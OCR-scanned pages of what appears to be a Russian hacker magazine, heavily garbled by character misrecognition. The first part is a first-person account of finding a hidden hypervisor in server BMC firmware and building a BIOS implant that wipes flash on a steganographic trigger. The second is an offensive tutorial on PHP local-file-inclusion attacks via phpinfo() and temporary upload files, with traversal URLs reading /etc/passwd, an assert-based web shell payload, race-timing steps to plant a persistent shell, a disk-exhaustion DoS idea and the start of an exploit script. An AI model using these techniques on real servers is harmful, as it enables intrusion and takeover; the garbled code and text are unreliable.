Пришлось изобретать собственный метод для 
обнаружения аппаратного гипервизора. Потом, 



правда, оказалось, что я изобрел велосипед. Ме 
тод позволял контролировать время выполнена 
системных команд, требующих обязательной 
эмуляции в хосте гипервизора. 

В качестве таймера я использовал ци- 
клический счетчик фреймов в аппаратуре 
ІІ5В-контроллера, а программу написал для ре- 
ального режима работы,. чтобы минимизировать 
побочные и неконтролируемые прерывания, 
которые маскировали истинное время выпол- 




нения системных команд. Первую проверку я 
провел для чистой системы на базе сэмпловых 
материнских плат из Канады (см. рис 3). 




Время выполнения, указанное на фото, — этс 
некоторое условное значение, приблизительно 
соответствующее такту процессора. 

Затем я запустил тот же тест на серийной 
материнской плате и убедился в своих паранои- 
дальных предположениях — циклы выполнения 
команд существенно удлинились (см. рис. 4). 

То есть во флеш-памяти блока ВМС сервер- 
ных плат из Китая, выпускаемых под лейблом 


) 


Іпіеі, имелся установленный на этапе производ- 
ства недекларированный программный модуль, 
работающий как хост гипервизора. 




Осталось убедить в этом окружающих. Пер- 
вым делом я вышел на российского представи- 
теля Іпіеі. Это было совсем нетрудно, поскольку 
сотрудники российского офиса часто появлялисі 
в «Крафтвее». 


3 


Я все рассказал и показал, однако не был 
уверен, что технический специалист все понял. 




Эти так называемые технические специалисты 
по уровню своей компетенции мало отличаются 
от менеджеров. Однако он обещал доложить обо 
всем руководству. Не знаю, сделал ли он это, но 
никакой ответной реакции от Іпіеі так и не по- 




следовало, все ушло как в песок. 

Работа в «Крафтвее» к тому времени за- 
вершилась, и я начал новый проект в фирме, 
связанной с системами информационной 
безопасности. 




Руководитель этой фирмы, с которым я по- 
делился своими «открытиями», принял мои слова 
всерьез. В связи с этим было решено выйти на 
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Рис. 4. Время выполнения системных команд на серийных платах 
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руководство Центра защиты информации и спец- 
связи ФСБ. Эта структура в составе ФСБ занимает- 
ся обеспечением информационной безопасности 
в стране и регулирует деятельность государствен- 
ных и коммерческих организаций, которые имеют 
отношение к защите информации. Она также 
регламентирует меры по защите информации для 
госструктур и коммерческих фирм, обрабатываю- 
щих секретную и конфиденциальную информацию. 

Фирма, в которой я в то время работал, под- 
держивала с Центром официальные контакты, 
чтобы сертифицировать и лицензировать свои 
коммерческие проекты, поэтому организовать 
встречу на уровне специалистов было достаточ- 
но просто. Предполагалось, что эксперты Центра 
сообщат о своем мнении руководству, и если 
после этого руководство сочтет нужным выслу- 
шать нас, то следующим этапом будет встреча на 
более высоком уровне. 

Встреча состоялась, я рассказал и показал 
все, что удалось выяснить, затем продемон- 
стрировал наличие нелегального программного 
модуля на примерах плат из Канады и Китая. 
Кстати, тогда я в первый раз услышал и профес- 
сиональный термин «закладка», обозначающий 
такой модуль. Когда разговор зашел про ВМС, в 
плазах у коллег из Центра появилось непонима- 
ние. Пришлось проводить ликбез. По ходу дела 
выяснилось, что они даже не подозревали о 
существовании специального микропроцессора 
в южном мосте с выходом на сетевой адаптер и о 
наличии в блоке ВМС криптографического моду- 
ля, нарушающего российское законодательство. 

В заключение мы совершенно неожиданно 
услышали, что эта модель угроз уже исследо- 
вана, в их отношении применяется комплекс 
мер противодействия, и вообще, нам закладки 
не страшны, поскольку наши системы не имеют 
выхода в интернет. 

Дальнейшие расспросы ни к чему не при- 
вели, все упиралось в секретность, типа, мы 
умные и суперграмотные, а вам ни о чем знать 
не положено. Однако я сильно сомневался в их 
технической грамотности, поскольку они просто 
не поняли большую часть того, что я рассказал 
и показал. Расстались на том, что они доложат 
своему начальству, а уж оно примет решение о 
дальнейших действиях. 

Чуть позже я узнал, что это за «секретный 
метод» обнаружения программ хоста. При- 
чем узнал совершенно случайно, во время 
Переговоров на фирме — лицензиате Центра, 
уполномоченной проверять биос на закладки. 
Технические специалисты этой фирмы, прово- 
дящие исследования биоса, рассказали, что его 
программные модули, использующие аппара- 
туру виртуализации, надо искать по сигнатурам 
команд виртуализации. 

Действительно, команды процессора для 
аппаратуры виртуализации содержат три-четыре 
байта и в программном коде, но кто сказал, что 
этот программный код они обнаружат в неза- 
шифрованном виде на флеш-микросхеме? Как 
они отсканируют этот код в оперативной памяти, 
если эти области памяти защищены аппаратно 
от просмотра? 



В общем, результат первой встречи оставил 
неприятный осадок, и я в самом мрачном на- 
строении ожидал развития событий. Месяца 
через полтора нас пригласили уже в сам Центр 
защиты информации и спецсвязи, чтобы мы про- 
демонстрировали обнаруженную нами закладку. 

На этот раз послушать нас собрались не 
рядовые сотрудники, а руководители и ведущие 
специалисты (по крайней мере, так они предста- 
вились). Встреча превратилась в лекцию, меня 
внимательно слушали практически три часа, 
было видно, что они впервые слышат то, о чем я 
им рассказываю. Я перечислил новые уязвимо- 
сти платформы х86, показал закладку и расска- 
зал, как ее детектировать, ответил на множество 
вопросов. В конце нас поблагодарили, сказали, 
что тему нужно развивать в рамках специальных 
НИР, и на этом мы и расстались. 

Эйфория улетучилась, когда по неофици- 
альным каналам до нас дошла информация, что 
нам просто не захотели поверить. Однако это не 
охладило моего желания доказать свою правоту. 

Как мне тогда казалось, решение лежало на 
поверхности: нужно было самому написать такой 
программный модуль закладки. Мне бы не уда- 
лось поместить закладку во флеш-память ВМС, 
но в основной биос запихнуть ее я вполне мог. Я 
решил оснастить гипервизор модулем собствен- 
ной безопасности для маскировки в памяти и 
на флеш-микросхеме, а также заблокировать за- 
пись во флеш-микросхему, где будет размещен 
код закладки, после чего удалить ее получится 
только путем выпаивания биоса и его перепро- 
граммирования на внешнем программаторе. 

Оставалось только определиться со 
«зловредной» функцией, которую следовало 
выполнять гипервизору. Я вспомнил утвержде- 
ние одного из специалистов ФСБ о том, что им 
не страшны закладки, поскольку их системы 
отключены от глобальной Сети. Но информация 
из внешнего мира как-то должна попадать в эти 
защищенные локальные сети, хотя бы через 
одноразовые оптические диски. Таким образом, 
я пришел к очевидному выводу и решил ана- 
лизировать входящий информационный поток 
в закладке средствами гипердрайвера, чтобы 
реализовать, так сказать, оружие судного дня, 
то есть использовать закладку для уничтожения 
вычислительной системы по внешней команде, 
передавая ее через входной информационный 
поток, стеганографически. 

Просканировать информационный поток 
скрытно, без потери быстродействия, по зубам 
только аппаратуре виртуализации. В какой точке 
сканировать, тоже понятно: на буферах ввода/ 
вывода дисковых систем и сетевого адаптера. 
Сканирование буферов ввода/вывода — плевая 
задача для аппаратуры виртуализации. 

Сказано — сделано! Такой гипердрайвер 
размером около 20 Кб был прописан в биос 
материнской платы и оснащен функцией защиты 
от обнаружения. Он блокировал попытки его 
перезаписи при обновлении биоса и выпол- 
нял единственную функцию: обнулял флеш- 
микросхему биоса при поступлении команды на 
уничтожение. 



Китайские закладки 



Сама команда для простоты реализации 
была зашита в текстовый файл йОС-формата в 
тегах настройки. 

Когда все было готово, руководство фирмы 
опять вышло на ФСБ с предложением посмотреть 
работу нашей собственной закладки и убедиться в 
том, что технологии виртуализации представляют 
реальную угрозу. Но посмотреть на нашу закладку 
в деле никто не захотел, с самого верха поступила 
команда (я так и не узнал, чье именно это было 
распоряжение) с нами больше не общаться. 

Главные борцы за информационную безопас- 
ность не захотели нас слушать. Тогда, уже 
практически ни на что не надеясь, фактически 
для очистки совести, мы попытались донести 
информацию о проблеме до пользователей систем 
информационной безопасности. Мы связались 
с «Газпромом», чтобы проинформировать спе- 
циалистов компании о современных угрозах для 
распределенных систем управления технологиче- 
скими процессами. Удалось организовать встречу 
с руководством службы корпоративной защиты и 
управления комплексными системами безопас- 
ности этой корпорации. Специально для них была 
подготовлена более наглядная версия закладки с 
упрощенным командным интерфейсом. Закладка 
активировалась после загрузки на компьютер 
текстового файла, содержимое которого включало 
два слова — «Газпром» и «стоп», — располо- 
женных в произвольном порядке. После этого 
компьютер умирал, но не сразу, а с задержкой в 
пять минут. Естественно, можно было сделать за- 
держку и на сутки, но тогда мы бы не уложились во 
время, отведенное для демонстрации. Сотрудники 
«Газпрома» посетовали на низкий уровень инфор- 
мационной безопасности и заявили, что это не их 
дело, поскольку они руководствуются требова- 
ниями и правилами, которые устанавливает ФСБ. 
Круг замкнулся, стало понятно, что эту монолитную 
систему «информационной безответственности» 
не пробить. 

За три с лишним года, которые прошли с тех пор, 
я ни разу не слышал, чтобы кто-нибудь говорил 
об аппаратуре виртуализации как об инструменте 
проникновения в целевые системы. Парадокс? 

Не думаю. Специфика темы в том, что мы узнаем 
только о провальных технологиях. О технологиях, 
которые не обнаружены, мы не знаем, а их авторы, 
конечно, молчат. 

Нужно учитывать, что надежное размещение 
закладок в биосе возможно только в заводских 
условиях. В условиях эксплуатации для этого 
придется ориентироваться на определенную 
модель материнской платы, а такие варианты 
не слишком интересны хакерам. Им нужна 
массовость, они работают, что называется, «по 
площадям». Однако существуют и те, кто атакует 
прицельно, «по-снайперски». Технологии раз- 
мещения закладок в биосе, да еще и с актива- 
цией аппаратуры виртуализации, которая по- 
зволяет эффективно скрыть их, — это, конечно, 
удобный инструмент для таких «снайперов». 

Один раз их почти поймали, причем прак- 
тически случайно. Думаю, сейчас этого сделать 
уже не удастся, да и ловить, как ты, наверное, 
понял, некому. □С 
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Трюки 
с рпріпЬ 

ПРОВОДИМ Ш-АТАКУ ЧЕРЕЗ 
ВРЕМЕННЫЕ ФАЙЛЫ И ИНФОР- 
МАЦИОННУЮ ФУНКЦИЮ РНР 



X 



Совсем недавно в паблике 
появилась информация о новом 
интересном подходе к эксплуа- 
тации уязвимостей класса І_РІ с 
помощью бесполезной на пер- 
вый взгляд функции рЬріггіоП и 
временных загрузочных файлов 
Берем на вооружение этот по- 
лезный прием. 




• рНр.пеі — 

официальный сайт 
РНР; 

• ЫЫу/пеудаА — 

немного об І_РІ; 

■ ЬіІ.Іу/ссРНс^ — 

рІіріпЫ) в рунете; 

• ЬіЫу/рткМѴР — 

І.РІ через рНріпТоО 
на Рйоі; 

• ЫЩ/УРІкЕ — 

ВѴѴМеІег; 

• ЫУу/е54СхѴѴ — 

Ргостоп. 



ѴѴАКМШС 



Вся информация 
предоставлена 
исключительно в 
ознакомительных 
целях. Ни редакция, 
ни автор не несут 
ответственности за 
любой возможный 
вред, причиненный 
в результате 
использования 
материалов данной 
статьи. 



ггп 

На нашем диске 
ты найдешь 
исходники всех 
рабочих примеров 
из статьи на языках 
РЕШ_иРНР,а 
также подробный 
видеоурок по теме. 



МОТИВАЦИЯ 

Подозреваю, что у тебя часто возникает ситуация, когда ты находишь 
уязвимость типа ІосаІ ПІе іпсЫе, но не имеешь доступа к файлам логов, 
сессий и т. п. Или доступ есть, но записать в файлы ничего не получается. 
Или ты уже даже находишься в админке сайта, но залить ничего и никуда 
не можешь, потому что кодеры не добавили функционал менеджера фай- 
лов. А ведь удаленный пользователь не может эксплуатировать уязви- 
мостьтипа І_РІ, пока не внедрит нужный вредоносный код в любой файл на 
сервере. В итоге ты забиваешь на обнаруженный баг и впоследствии даже 
не пытаешься его эксплуатировать. Так же ведут себя и админы уязви- 
мых веб-серверов: баг есть, но это же всего-навсего ІосаІ ЯІе іпсіизіоп... 
Вроде бы рЬр.іпі настроен более-менее грамотно, так что чего бояться? 
Оказывается, что бояться все-таки стоит, и еще как! Сегодня я познаком- 
лю тебя с самым красивым способом проведения І_РІ-атак и надеюсь, что 
эта статья мотивирует админов на устранение описываемыхуязвимостей, 
а тестеров — на их обнаружение и эксплуатацию. 

ПРЕДПОСЫЛКИ ПОЯВЛЕНИЯ НОВОГО СПОСОБА 

До сих пор в хакерском сообществе были известны следующие способы 
заливки шелла через І_РІ: 

1. Через медиафайлы (фото, видео, документы ит.д.). Для реализации 
этого способа требуется доступ к странице загрузки файлов (возможно, 
админкеили менеджеру файлов). 

2 . Через файлы логов (/а расЬе/Іодз/еггог.Іод, /ѵаг/Іод/ассе55_Іод, /ргос/ 
зеіі'/епѵігоп, /ргос/зеіі'/стсіііпе, /ргос/эеіШсІ/Х и многие другие). Здесь 
стоитучесть, что чем больше размер логов, тем труднее произвести 
успешную атаку. В некоторых случаях РНР должен быть запущен в ре- 
жиме совместимости с С6І или же должна существовать виртуальная 
файловая система/ргос, для доступа ккоторой необходимы соответ- 
ствующие права. 

3. Через псевдопротоколы (сіаіа:, рЬр://іприІ, рЬр:/ЛіІІег), требующие наличия 
директивы аІІоѵѵ_игІ_іпсІисІе=Оп (поумолчанию — ОЛ) и версии РНР>=5.2. 

4 . Через файлы сессий (Атр/5е55_*,/ѵаг/ІіЬ/рЬр/5е55Іоп/). Естественно, 
атакующий должен иметь возможностьзаписыватьсвои данные в сессию. 

5 . Через мыло. При этом в уязвимой СМ5 должна присутствовать возмож- 
ность отправки писем отѵѵѵѵѵѵ-юзера, а также иметься доступная для 
чтениядиректориясотправленными мейлами (к примеру, /ѵаг/зрооі/ 
таіі). 
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Пример успешной заливки и обнаружения шелла в Ітр-файле 
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Выполнение произвольного РНР-кода через подключение Ітр-файла 



Теперь мы можем пополнить этот небольшой список новым спо- 
собом, который заключается в эксплуатации І_РІ через временные 
файлы (Дтр/рЬр*, С:\1тр\рЬр*). Успешное выполнение/воспроизве- 
дение атаки с помощью нового способа возможно при следующих 
условиях: 

• имеется доступ кІ_РІ-уязвимости; 

• имеется доступ кинформации рЬріпМ); 

• веб-сервер крутится подѴѴіпсіоѵѵб (однако это необязательное 
условие); 

• версия РНР>5. 2.0. 

Примерный алгоритм проведения данной атаки выглядит 
следующим образом (не пугайся, если что-то не будет ясно сразу, — 
дальше я все подробно объясню): 

1. Отправляем файл с РНР-кодом на рЬр-скриптс рЬріпЫ), РНР со- 
храняет его в временную (ітр) папку. 

2. С помощью все той же функции рМріпі'оО узнаем место хранения и 
зеесі (своего рода идентификатор) отправленного файла. 

3. Затем отправляем еще один специально сформированный пакет 
(например, с неправильным заголовком СопІепМепдіЫ, вызывая 
тем самым зависание сервера на несколько секунд или даже минут. 

4. Быстро инклудим свежезалитыйітр-файл через І_РІ. 

ЛОКАЛЬНЫЙ ИНКЛУД 

Для реализации атаки нам обязательно нужен рабочий локальный 
инклуд. Без него никак не обойтись. Пример того, что нам надо: 

ІтИр : //зі1:е . сош/сбб . рбр?б1е=5І:у1е . сбб 
І і1:1:р://5І1:е.сот/с55.рІір?б1е=. ./. ./( . . )/е1:с/ра55мсІ 

Собственно, код абстрактного уязвимого скрипта СББ.рЬр: 

< ?рИр 

// {.Л идет какая-то примитивная проверка. 

// {..} которая часто легко обходится 

ІТ_( ! І55е1:($_еЕТ[ ’біе' ]) ОК 

!б!е ехіз1=5( ' . /ІірІ/сІе-РаиІІ:/ ' .$ 6ЕТ[ 'б1е' ] )) 
с!іе( '404 N 01= РоипсІ'); 

// {..} возможно, проводятся еще какие-то проверки 

// локальный инклуд файла 

іпсіисіе ' . АЕрІ/сІе-РаиН:/ ' .$ _6ЕТ[ 'біе' ] ; 

?> 



Чтобы узнать путь к папке, где хранятся временные файлы, можно 
попробовать подключить другой файл, который обязательно должен 
иметься на сервере. Примеры для *піх и ѴѴіпсіоѵѵб: 

Іп1:1:р://5І1:е. сош/сбб . рбр?б1е =. ./. ./ . ./. ./. . / еѣс/раззысі 
ІгМ: р : //зіііе . сот/ с б 5 . р!ір?б1е=. . /1=тр/ 
Іі1:1:р://5І1:е.сот/с55.рІір?б1е=. ./. ./. ./. ./. .\1лІіпсІоы5\Тетр\ 



ИНФОРМАЦИЯ ИЗ РНРІЫРОО 

Далее нам понадобится любой скрипт с выводом рбріпЬІ). С помощью 
него мы узнаем конфигурацию сервера, некоторые параметры рЬр.іпі и 
убедимся, что сервер уязвим для описываемой атаки. 

В данном случае нам нужны следующие параметры: 

1. ирІоасПтр_сІіг — временная папка, в которой РНРсохраняетвре- 
менныефайлы. Если она пустая (N11 1_Ц то файлы будутзаливаться в 
ЕпѵігоптепМЕМР. 

2 . ЛІе_ирІоасІ5 — эта опция разрешает отправлять файлы и временно 
помещать их в ирІоасНтр_сІіг (для успешной атаки опция должна 
находиться в состоянии Оп). 

3. ир1оаб_тах_П1еБ12е — максимальный объемзагружаемыхфайлов. 
Он недолжен быть слишком маленьким (минимальный составляет 
10 Кб), поумолчанию указан объем 2 Мб. 

4 . тах_ехесибоп_бте — максимальное время выполнения скрипта. 
По дефолту стоит 0, это значит, что скрипт будет выполняться до тех 
пор, пока не выполнится. :-) 

5 . 5е55Іоп.5егіаІІ2е_ЬапсІІег — сериализаторсессий. Подефолту — рЬр 
(это часть имени будущего временного файла). 

Еще одна полезность заключается в том, что рЬріпМ) отображает в 
шапке версию РНР, например РНР Ѵегзіоп 5.3.8. 

РНРИ$_РИЕ5 

Поэтапно процесс отправки файлов выглядит примерно так (согласно 
РРС1867): 

1. Послеустановки соединения начинается передача данных. 

2 . После получения заголовков веб-сервер подгружает движок РНР. 

3. РНРсоздаетвременныйІтр-файл и наполняетегоданными. 

4 . Передачаданныхзаканчивается. 

6 . Исполняется РНР-кодскрипта. 

7 . РНРотправляетвыводскрипта веб-серверу. 

8 . РНРделаетсІеапир(удаляетвременныефайлы)изавершаетработу. 

9 . Веб-серверотсылаетвыводскрипта юзеру, отправившемуфайлы. 

На этапах 3, 4, 5, 6, 7 временный Ітр-файл еще существует, а 
на определенной стадии этапа 8 удаляется. Любой РНР-скрипт 
может работать с загружаемыми файлами через глобальный массив 
$_РІІ_Е5, а затем копировать их из временной папки в любое другое 
место с помощью функции тоѵе_ирІоасІесІ_ПІе(). Здесь важно то, 
что РНР всегда копирует любые заливаемые файлы во временную 
папку, указанную в конфиге, даже если скрипт с ними работать не 
собирается. Когда скрипт завершает свое выполнение, РНР удаляет 
все ранее созданные временные файлы, то есть делает сіеапир. 

Так как мы можем посылать скрипту абсолютно любые файлы, то, 
соответственно, во временном файле будет записан именно тот код, 
который и понадобится нам для локального инклуда. Кстати, если 
в РНР-скрипте используется буферизация вывода (функции оЬ_* - 
оЬ_5ІагІ, оЬ_ЛіібЬ и другие), то действия, описанные в пунктах 8 и 9, 
выполняются в обратном порядке. В таком случае вполне возможно 
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Р05 НА БАЗЕ І_РІ + РНРІМРОІ) 



Когда мы отправляли данные в _РІІ_Е5, они записывались в файл, 
занимая место на диске. При этом мы отправляли всего пару килобайт. 

А что будет, если отправить много-много мегабайт? И сразу много 
файлов? Это может привести к серьезным проблемам в работе сервера. 
Атакующий способен исчерпать его дисковое пространство. Допустим, 
что по умолчанию каждый бот абстрактного ботнета может на каждом 
подключении занимать до 30 Мб дискового пространства в течение всего 
времени, пока посылается запрос, загружается файл и принимается 
ответ. Время отсылки и приема может быть умышленно растянуто, чтобы 
максимально долго использовать свободное место. По времени одно 
подключение в среднем длится примерно две минуты (одна минута на 
запрос + одна минута на ответ]. Даже малочисленный ботнет способен 
эффективно подавлять сервер с минимальным количеством и скоростью 
подключений. Более того, как раз медленный канал бота будет куда более 
губительным для атакуемого сервера. Выводы делай сам. В настоящий 
момент единственный способ противостоять такой йоБ-атаке — отключить 
директиву бІе_ирІоасІ в рИр.іпі. 



написать эксплойт, который на низком уровне будет саботировать 
получение последнего пакета с данными. То есть сначала он по- 
лучит содержимое рЬріпТоО, затем спарсит с помощью вывода этой 
функции путь к Ітр-файлу и, не дожидаясь конца ответа от сервера, 
проинклудит его через І_РІ быстрее, чем РНР сделает сіеапир. Если 
же буферизации вывода нет, то мы не успеем подключить времен- 
ный файл, он уже будет удален. Но что если попробовать сделать 
так, чтобы РНР не удалял временный файл? 

АЛГОРИТМ ОБМАНА РНР 

Итак, суть нового способа заключается в подключении через 
І_РІ временного файла, создаваемого РНР. «Но РНР ведь удаляет 
временный файл!» — наверное, скажешьты. Да, верно. Пока неиз- 
вестно, как сделать так, чтобы этого не происходило. Но зато вполне 
известно, как продлить этому файлу жизнь. :) Для этого нужно сфор- 
мировать специальный пакет со следующими свойствами: 

• СопІепМепдЩ должен быть неверным (на несколько Кб больше 
или меньше реального); 

• заголовок данных не должен закрываться (например, 

« 8ѴѴѵЭЫМ»). 

Таким образом, мы получим следующую ситуацию: 

1. Пакетобрывается. 

2 . Сокетждет недостающие данные (в это время соединение открыто). 

3. Сокет отваливается, полученный временный файл существуетеще 
некоторое время. 

При этом размер временного файла должен быть больше 2 Кб, 
иначе РНР просто не начнет писать данные в соответствующую дирек- 
торию. Какты уже, надеюсь, понял, сервер «зависнет» на достаточно 
долгое время, которого должно хватить для того, чтобы проинклудить 
временный файл и залить с его помощью долгожданный шелл. 

В ПОИСКАХ ТМР-ФАЙЛА 

Следующая проблема состоит в том, что нам неизвестно имя 
временного файла. Как раз для ее решения нам и нужен скрипт с 
рЬріпЫ) внутри. Если не удается найти его вручную по дефолтным 
именам (рЬріпЩ.рЬр, іпІю.рЬр, і.рЬр и т. д.), тогда можно воспользо- 
ваться скриптами от Сгеу и еІ_ѵѵаих для автоматического поиска 
(ищи их на нашем диске). Предположим, что мы нашли нужный нам 
скрипт. Идем дальше. В разделе РНР ѴагіаЫез функция рбріпЫ) 



ЧТО ЕЩЕ МОЖНО ВЫЖАТЬ ИЗ 
РНРІЫРОО 



Результатом выполнения РНР-функции рбріпЫ) является куча 
информации, большая часть которой не имеет значения. Однако на 
некоторые моменты все же стоит обратить внимание, так как они 
могут облегчить процесс поиска уязвимых мест в системе. 

Итак, перечислим потенциально полезную информацию, 
предоставляемую рНріпЫ): 

1. информация осервере, версия/конфигурация РНР, ОС; 

2. сІосиппепІ_гооІ — директория, из которой выполняетсятекущий 
скрипт; 

3. еггог іод — логи ошибок (можно задействовать при І_РІ); 

4. 5аІ : е_ппосІе (сЫаиІІ ОРР] — безопасный режим; 

5 . ореп_ЬазесІіг(сІеІ : аііІІеппрІу) — ограничивает список файлов, 
которые могутбытьоткрыты через РНР; 

6. а11о\л/_игНореп (сЫаиК 0І\І) — разрешает доступ к II РІ_ на уровне 
файлов; 

7 . аІІоѵѵ_игІ_іпсІисІе (сЫаиІІ ОРР] — удаленное подключение файлов; 

8 . тадіс_дію1е5_дрс (сЫаиІІ ОРР] — автоматическое экранирование 
входящихданных; 

9 . гедІ5Іег_дІоЬаІ5 (сМаиІІ ОРР) — глобальные переменные; 

10. бІ5аЫе_ЩпсІіоп5 (сМаиІІетрІу) — отключает использование 
определенных функций; 

11 . тах_ехесіЩоп_Ііте (сЫаиІіО) — максимальное время работы 
скрипта; 

12 . сіізріау еггогз (сЫаиІІ ОРР) — отображение ошибок; 

13 . ирІоасНтр_сІіг — путь кітр-директории. 

14 . подключенные модули (сигІ,50скеІ5, гірит.д.]; 

15 . содержимое всех глобальных перемен ных:_6ЕТ,_Р05Т,_С00КІЕ, 
_РІІ_Е5,_5ЕВѴЕВ. 



отображает все передаваемые пользователем глобальные пере- 
менные: _6ЕТ, _Р05Т и _РІІ_Е5. Старые версии РНР (<=5.1 ) в рИріпЬО 
не раскрывают содержимое массива _РІІ_Е5, просто указывая тип 
Аггау. В этом случае придется подбирать (брутить) имя временного 
файла. 

Чтобы проверить, раскрывает ли рЬріпЫ) нужный нам массив, ты 
можешь отправить файл вручную через простую НТМЬ-форму, а затем 
проверить раздел РНРѴагіаЫез: 

<-Рогт ас1:іоп="Іі1:1:р://5І1:е.сот/рІіріп-( : о.рІір" 
епс1:уре= ,, ти11:іра^1:/■Рогт-сIа1:а ,, те1:ІіосІ= ,, Р05Т ,, > 

<іпри1: 1:уре="-П1е" пате="аа"^/> 

<іпри1: Ііуре^'БиЬтіІ:" /> 

</-Рогт> 

Самый элементарный способ такой проверки — выполнить 
простой ОЕТ-запрос к соответствующему скрипту: Ьир://5ІІе.сот/ 
рЬріп( : о.рЬр?а[]=111. РНР должен отобразить содержимое мас- 
сива _РІІ_Е5 или _0ЕТ (аналогично тому, как это происходит при 
выполнении функции ѵаг_сІиппр). Если массив раскрыт, значит, ты 
сможешь без проблем узнать имя Ітр-файла. За путь кітр-папке 
отвечает параметр ирІоасПтр_сІіг в рЬр.іпі. По дефолту путь в *піх- 
системах — Лтр, в винде — С :\ѴѴ і п сі о ѵѵз\Т е т р . В 99 % случаев у РНР 
есть право чтения файлов оттуда. Согласно документации ( Ьіі.Іѵ/ 
гаѴѴрѵѵБ ), в ѴѴіпсІоѵѵз имя временного файла, который РНР рандомно 
генерирует с помощью функции СеіТетрРіІеМате, должно иметь вот 
такой вид: 
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Заливка постоянного шелла через временный 



<ра1±>Д<рге><ииии>.ТМР 



<ра1:Іі> = С:\ЫіпсІоы5\Тетр (или значение иріоасііітрсііг 
с рКір . іпі) . 

<рге> = рИр (5Ѳ55Іоп.5егіа1І2е ЬапсИеп) . 

<ииии>_= уникальное шестнадцатеричное число. 

Интересно, что в ѴѴіпсІоѵѵз каждое последующее <иииіі> больше 
предыдущего ровно на единицу, например: 

рбрІАЗЕЛтр 
рМрІАЗР . іітр 
рбр1А40.1:тр 

В *піх имя для временного файла генерируется с помощью функции 
ткзіетр (Ііпих.біе.пеі/тап/З/ткзІетр): 

<ра1:Іі>У<рпе><гапсІ> 

< ра1:И > = / іітр, 

<рпе> = рбр (зе55Іоп.зегіа1І2е_ІіапсІ1ег) л 
<гапсІ> = (зеесі += XXX Л РІО) 

XXX в зависимости от скомпилированной библиотеки ^ПЬс может 
равняться: 

- XXX = *іте() 

- XXX = §е1:1:ітео-РсІау() . зес << 32 | §е1:1:ітео-РсІау() . изес 

- XXX = гсііізс 



То есть имя, которое всегда будет случайным и непредсказуемым, 
должно иметь следующий вид: Лтр/рЬрХХХХХХ, гдеХХХХХХ — это 
рандомные шесть символов из диапазона [А-2а-г0-9]: 

/1:тр/рІір60екТ9 

/ѣтр/рбрКІиикБ 

/1:тр/рІірсІп382Р 

Как видно из примеров выше, по сравнению с *піх в ѴѴіпсІоѵѵз 
проще узнать имя временного файла. Также стоит отметить, что вре- 



/ / 
У л* у 


Отправка файлов 


подгружается РНР 


РНР создает Ітр -файлы 
и наполняет их данными 


Выполняется РНР скрипт 
который может работать с 


РНР удаляет Іптр-файл ы 


((( ( ( 




і іпір-файл і 
существует 



Как работает РНР, когда юзер отправляет файл 



менный файл существует только (!) во время выполнения скрипта. 

СЦЕНАРИЙ АТАКИ В ѴѴІЫООѴѴБ 

Если ты усвоил все написанное выше, предлагаю тебе рассмотреть 
общий алгоритм нашей атаки для винды: 

1. Передаемлюбойфайл нарЬріпЫ). 

2 . Получаем ответ отсервера, врЬріпІюОсмотримзначение 
_РІІ_Е5[ітр_пате] и таким образом узнаем путь к временному файлу. 

3. Отправляем на рЬріпіюОзапросс кодом шелла 

< РрИр 

аззег1=(5І=гір5Іа5Ііе5($_КЕ0иЕ5Т["е"] )) ; 

?> 



и запросом, в котором размер СопІепМепдіЬ превышает реальный 
размер запроса. В результате сервер должен на некоторое время за- 
виснуть. 

4. Пока сервер висит и думаетожизни, мы пытаемся найти временный 
файл, добавляя к полученному имени (см. шаг 1) единицу (поиск 
осуществляется посредством подстановки пути кфайлу в І_РІ). 

5 . Кактольконамудаетсяобнаружитьітр-файл, заливаем полноцен- 
ный шелл с помощью нашего ядовитого кода. 

6. Закрываем соединение из 2-го шага, серверудаляет временный файл. 

Таким образом, при наличии рЬріпіюО в ѵѵіп-серваке заливка шелла 
сводится к отправке двух файлов. Если рбріпіюО отсутствует, имя 
временного файла можно теоретически сбрутить. Всего на ѴѴіпсіоѵѵз- 
сервере будет около 61440 возможных вариантов. 

СЦЕНАРИЙ АТАКИ В НИКСАХ 

Сценарий атаки для *піх-систем будет выглядеть примерно так: 

1. Отправляем наскриптсрЬріпЫ) РІТТР-пакетсядовитым РРІР-кодом 
вфайле. 

2 . Ограничиваятрафикзасчетиспользования прокси-сервера илис 
помощью какой-либоутилиты (например, ВѴѴМеІег),урезаемлимит 
на прием входящихданныхдонесколькихдесятковбайт. 

3. Ждем, когда скриптвозвратитнам вывод рбріпіюО. 

4 . Самое главное! Параметр [ітр_пате] выводится где-то в послед- 
них строчках (а кактолькосокетзакроется, временный файл будет 
удален), поэтому мы должны сграбить/скопипастить имя и отправить 
его на и нклуд немедленно. 

Однако если после вызова рЬріпІюП идет еще какой-то код, то 
чем дольше этот код выполняется, тем больше у нас шансов успеть 
получить имя временного файла до его автоматического удаления. 
Мы можем локально подключить рЬріпію.рЬр через имеющийся 
инклуд, а так как после инклуда есть еще код, то мы получаем 
бонусное время задержки, которого при удачном раскладе вполне 
может хватить: 

ІтІ:1:р://5І1:е.сот/с55.рІір?б1е=. ./. ./ІгІ:сІос5/риЫіс_ІтІ:т1/ 
рИріп-Ро . рМр 

Отправив на такой ІІНІ_ Р05Т-пакет с файлом, содержащим РНР- 
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код, построчно считываем ответ. Получив имя временного файла, 
тянем время, не разрывая коннект, и параллельно инклудим загру- 
женный временный файл с РНР-кодом. 

Кстати, в случае если скрипт с рЬріпЫ) недоступен, нам придется 
угадать или пробрутить имя временного файла. Поскольку нужно 
будет перебрать 1000000*36 вариантов, процесс поиска затянется 
надолго. 

ПРАКТИКА 

Теперь настало время перейти к практике. Итак, пусть на нашем 
тестовом серваке стоят Місго50ІТ-ІІ5/7.5 и РНР/5.3.8. Возьмем с одного 
реального ѴѴіпсІоѵѵз-сервера файл сзз.рбр с уязвимостью типа І_РІ: 



<?рИр 



$б!е = ' . /иріоасіз/ ' _6ЕТ[ '-Р' ] ; 




і-р ( б1е_ехІ5І:5($б1е) ) Ііпсіисіе $б!е; сі 


іе; > 


сііе ( ' Гііе по* -РоипсИ'); 




?> 





На этом же сервере админ забыл удалить нужный нам файл 
рЬріпІю.рЬр: 

< ?рМр 
рбріп-Ро(); 

?> 



Код, который мы будем внедрять в Ітр-файл: 

< ?рМр 

аззег1:(5І:гір5Іа5Ііе5($_КЕріІЕ5Т[ "е" ] ) ) ; 

?> 



С помощью РНР-сценария формируем Р05Т-пакет для отправки 
файла с РНР-кодом: 

// Еѵіі 

$б1е=" ХаХЬХаХЬХаХЬХа\г\п " ; 

$б1е.="Соп1:еп1:-0І5ро5І1:іоп: -Рогт-сіаііа ; пате=б1е" ,гапсІ(0.Д00) . 
